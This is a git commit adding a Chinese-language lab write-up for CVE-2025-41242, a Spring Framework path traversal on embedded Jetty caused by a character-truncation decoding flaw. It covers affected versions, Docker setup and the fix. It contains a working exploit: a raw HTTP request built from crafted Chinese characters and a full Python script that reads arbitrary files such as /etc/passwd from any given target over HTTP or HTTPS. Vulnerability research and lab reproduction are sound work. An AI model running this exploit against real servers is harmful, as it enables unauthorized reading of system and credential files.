add CVE-2025-41242

This commit is contained in:
Threekiii committed 2026-05-11 18:21:00 +08:00
1 parent 300fb321ca
commit 8e4599f685
3 files changed
+230

No files matched your search

@@ -0,0 +1,230 @@
# Spring 框架因 Jetty URI 解析不一致导致的路径穿越漏洞 CVE-2025-41242
## 漏洞描述
Spring 框架是 Java 生态中应用最广泛的应用框架之一,Jetty 是 Spring Boot 应用常用的内嵌 HTTP 服务器。CVE-2025-41242 是一个由 Spring 框架与 Jetty 之间**URI 解码不一致**所导致的路径穿越漏洞。
漏洞根源是 Spring 的 `StringUtils.uriDecode` 中的 "Ghost Bits" 缺陷:解码器遇到非 `%xy` 字符时,会直接调用 `ByteArrayOutputStream.write(int)`,而该方法只保留 16 位 Java`char` 的**低 8 位**。结果就是某些中文字符在解码过程中被悄悄 " 炼 " 成 ASCII 字节,例如 `阮(U+962E)→0x2E='.'`、`严(U+4E25)→0x25='%'`、`灵(U+7075)→0x75='u'`、`丰(U+4E30)→0x30='0'`、`甲(U+7532)→0x32='2'`、`来(U+6765)→0x65='e'`,于是攻击者构造的字符串 `阮严灵丰丰甲来` 被静默地转换成 ASCII 字符串 `.%u002e`。这串结果在 Spring 的 `isInvalidPath`/`isInvalidEncodedPath` 检查中既不含字面量 `../`,标准的 `URLDecoder` 又不识别非标准的 `%uXXXX` 编码,所有安全检查全部放行。但路径随后通过 `ServletContextResource` 交给底层 Jetty 的 `PathResource#resolve` 时,Jetty 在 `URIUtil.encodePathSafeEncoding` 中却主动把 `%u002e` 当作 Unicode 解码为 `.`,使 `/.%u002e/` 在文件系统层面变成 `/../`,从而完成跨目录读取,最终读取 `/etc/passwd` 等任意文件。一句话:Spring 看到的是 " 无害的中文/Unicode",Jetty 解释的却是 " 致命的 `../`"。官方修复方式是改用 `StringBuilder` 逐字符 `append`,从根源上消除高位丢失。
根据上游安全公告 [GHSA-r936-gwx5-v52f](https://github.com/advisories/GHSA-r936-gwx5-v52f),`spring-webmvc` 的受影响版本范围为 `5.3.0` 至 `5.3.43`、`6.0.0` 至 `6.0.29`、`6.1.0` 至 `6.1.21`、`6.2.0` 至 `6.2.9`(修复版本为 `5.3.44`、`6.0.30`、`6.1.22`、`6.2.10`),且应用部署在内嵌 Jetty 之上时触发。需要注意的是,将 `%u002e` 解码为 `%2e` 的 `URIUtil.encodePathSafeEncoding` 方法仅在 `jetty-util >= 12.0` 中提供,而 `spring-boot-starter-parent` 从 `3.2.0` 起才默认引入 Jetty 12,因此更早的 Spring Boot 组合(例如 3.1.x + Jetty 11)即便 Spring 端在受影响范围内也无法触发该漏洞链。本环境基于 Spring Boot 3.2.4+ 默认 `spring-boot-starter-jetty` 演示该漏洞。
参考链接:
- https://i.blackhat.com/Asia-26/Presentations/Asia-26-Bai-Cast-Attack-Ghost-Bits-4.23.pdf
- https://github.com/advisories/GHSA-r936-gwx5-v52f
- https://github.com/spring-projects/spring-framework/commit/24e66b63
## 漏洞影响
```
org.springframework:spring-webmvc >= 6.2.0, < 6.2.10
org.springframework:spring-webmvc >= 6.1.0, <= 6.1.21
org.springframework:spring-webmvc >= 6.0.0, <= 6.0.29
org.springframework:spring-webmvc >= 5.3.0, <= 5.3.43
```
## 环境搭建
Vulhub 执行如下命令启动一个 Spring Boot 3.2.4 + 内嵌 Jetty 环境:
```
docker compose up -d
```
等待数秒待服务启动完成,然后访问 `http://your-ip:8080/` 即可看到一个 "Hello World" 页面。
![](images/Spring%20框架因%20Jetty%20URI%20解析不一致导致的路径穿越漏洞%20CVE-2025-41242/image-20260511093845308.png)
## 漏洞复现
要触发这个漏洞,请求必须以 `阮严灵丰丰甲来` 的原始 UTF-8 字节直送服务端,不能预先做 percent-encoding。这是因为 Ghost Bits 仅在 Spring 的 `StringUtils.uriDecode` 处理一段已经包含 16 位 `char` 的字符串时才会发生——如果中文字符在传输前被编码成 `%E9%98%AE` 这样的 ASCII 三元组,解码器走的是另一条不含截断逻辑的路径,漏洞无法触发。还有第二个细节:目标文件名中至少要有一个字符做 percent-encoding(例如把 `passwd` 写成 `passw%64`),否则 Spring 的路径匹配会提前短路,根本不会调用到那段有问题的解码逻辑。
这意味着浏览器、`curl`、Burp Suite 以及绝大多数代理工具都**无法**直接用来复现该漏洞——它们在发送请求前会对 URL 路径做规范化处理,把高位 Unicode 字符自动编码为 ASCII(变成 `%E9%98%AE...` 或 `.%u002e`),从而破坏漏洞触发条件。要复现,必须使用允许逐字节构造并发送原始 HTTP 请求的工具。
**方式一:Python socket 脚本。** 仓库目录下提供了 [`poc.py`](https://github.com/vulhub/vulhub/blob/d277a8693e588684e951dddb0733809e53881a3c/spring/CVE-2025-41242/poc.py),它会将 `阮严灵丰丰甲来` 的原始 UTF-8 字节直接写入 socket(绕过浏览器、`curl` 等会做的 URL 规范化),并自动对目标文件名最后一个字节做 percent-encoding。脚本同时支持 `http` 与 `https` 目标——TLS 握手会被透明地包裹在 socket 之上,所以面对前置 HTTPS 的 Jetty 服务器同样可用。
读取靶机环境中的 `/etc/passwd`:
```
python poc.py http://your-ip:8080
```
通过 `-f` 指定其他文件:
```
python poc.py http://your-ip:8080 -f /etc/hosts
```
如果目标是使用自签证书的 HTTPS 服务,可以加 `-k` 跳过 TLS 校验:
```
python poc.py https://your-ip:8443 -f /etc/passwd -k
```
脚本会把响应头写到 stderr,把文件正文写到 stdout,因此可以直接重定向:`python3 poc.py http://your-ip:8080 -f /etc/passwd > passwd.txt`。在 Vulhub 环境上运行即可看到 `/etc/passwd` 内容:
![](images/Spring%20框架因%20Jetty%20URI%20解析不一致导致的路径穿越漏洞%20CVE-2025-41242/image-20260511094329205.png)
**方式二:Yakit 原始数据包。** Yakit 的 HTTP Fuzzer 会原样发送请求行,不会对高位字符做规范化。在请求面板中粘贴如下数据包并发送:
```
GET /阮严灵丰丰甲来/阮严灵丰丰甲来/阮严灵丰丰甲来/阮严灵丰丰甲来/阮严灵丰丰甲来/阮严灵丰丰甲来/阮严灵丰丰甲来/etc/passw%64 HTTP/1.1
Host: your-ip:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
```
![](images/Spring%20框架因%20Jetty%20URI%20解析不一致导致的路径穿越漏洞%20CVE-2025-41242/image-20260511094447518.png)
## 漏洞 POC
```
#!/usr/bin/env python3
"""
PoC for CVE-2025-41242: Spring Framework path traversal via Jetty URI
parsing inconsistency on embedded Jetty.
"""
from __future__ import annotations
import argparse
import socket
import ssl
import sys
from urllib.parse import urlparse
GHOST_BITS_SEG = '阮严灵丰丰甲来'.encode('utf-8')
DEFAULT_PORTS = {'http': 80, 'https': 443}
def encode_target_path(file_path: str) -> bytes:
"""Strip the leading slash and percent-encode the last character.
Spring's path matcher short-circuits when no character is percent-encoded,
so at least one byte of the target filename must be encoded for the buggy
decoder to fire (e.g. 'passwd' -> 'passw%64').
"""
path = file_path.lstrip('/')
if not path:
raise ValueError('file path must not be empty')
last = path[-1]
if not last.isascii():
raise ValueError('last character of the file path must be ASCII')
return path[:-1].encode('utf-8') + ('%%%02x' % ord(last)).encode()
def parse_target(url: str) -> tuple[str, str, int]:
if '://' not in url:
url = 'http://' + url
parsed = urlparse(url)
if parsed.scheme not in DEFAULT_PORTS:
raise ValueError(
f'only http/https are supported (got {parsed.scheme!r})'
)
if not parsed.hostname:
raise ValueError(f'cannot parse host from {url!r}')
port = parsed.port or DEFAULT_PORTS[parsed.scheme]
return parsed.scheme, parsed.hostname, port
def build_request(host: str, port: int, file_path: str) -> bytes:
encoded_target = encode_target_path(file_path)
path = b'/' + (GHOST_BITS_SEG + b'/') * 7 + encoded_target
host_header = f'{host}:{port}'.encode()
return (
b'GET ' + path + b' HTTP/1.1\r\n'
b'Host: ' + host_header + b'\r\n'
b'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36' + b'\r\n'
b'Connection: close\r\n\r\n'
)
def send(
scheme: str,
host: str,
port: int,
request: bytes,
timeout: float,
insecure: bool,
) -> bytes:
sock = socket.create_connection((host, port), timeout=timeout)
if scheme == 'https':
ctx = ssl.create_default_context()
if insecure:
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
sock = ctx.wrap_socket(sock, server_hostname=host)
with sock:
sock.sendall(request)
chunks = []
while True:
chunk = sock.recv(4096)
if not chunk:
break
chunks.append(chunk)
return b''.join(chunks)
def main() -> int:
parser = argparse.ArgumentParser(
description=(
'PoC for CVE-2025-41242: Spring Framework path traversal on '
'embedded Jetty. Reads an arbitrary file from the target server.'
),
epilog='example: python poc.py http://192.168.1.160:8080 -f /etc/passwd',
)
parser.add_argument(
'target',
help='target URL or host:port, e.g. http://192.168.1.160:8080',
)
parser.add_argument(
'-f', '--file',
default='/etc/passwd',
help='absolute path of the file to read (default: /etc/passwd)',
)
parser.add_argument(
'--timeout', type=float, default=10.0,
help='socket timeout in seconds (default: 10)',
)
parser.add_argument(
'-k', '--insecure', action='store_true',
help='skip TLS certificate verification when using https',
)
args = parser.parse_args()
try:
scheme, host, port = parse_target(args.target)
request = build_request(host, port, args.file)
except ValueError as e:
print(f'error: {e}', file=sys.stderr)
return 2
try:
data = send(
scheme, host, port, request,
timeout=args.timeout, insecure=args.insecure,
)
except OSError as e:
print(
f'error: connection to {scheme}://{host}:{port} failed: {e}',
file=sys.stderr,
)
return 1
# Send response headers to stderr and the body to stdout, so the body can
# be redirected cleanly: `python poc.py <target> -f /etc/passwd > out`.
header, sep, body = data.partition(b'\r\n\r\n')
sys.stderr.buffer.write(header + sep)
sys.stderr.flush()
sys.stdout.buffer.write(body)
return 0
if __name__ == '__main__':
raise SystemExit(main())
```
## 漏洞修复
- 升级至 [Spring Framework 6.2.10 ](https://spring.io/blog/2025/08/14/spring-framework-6-2-10-release-fixes-cve-2025-41242) 及以上版本。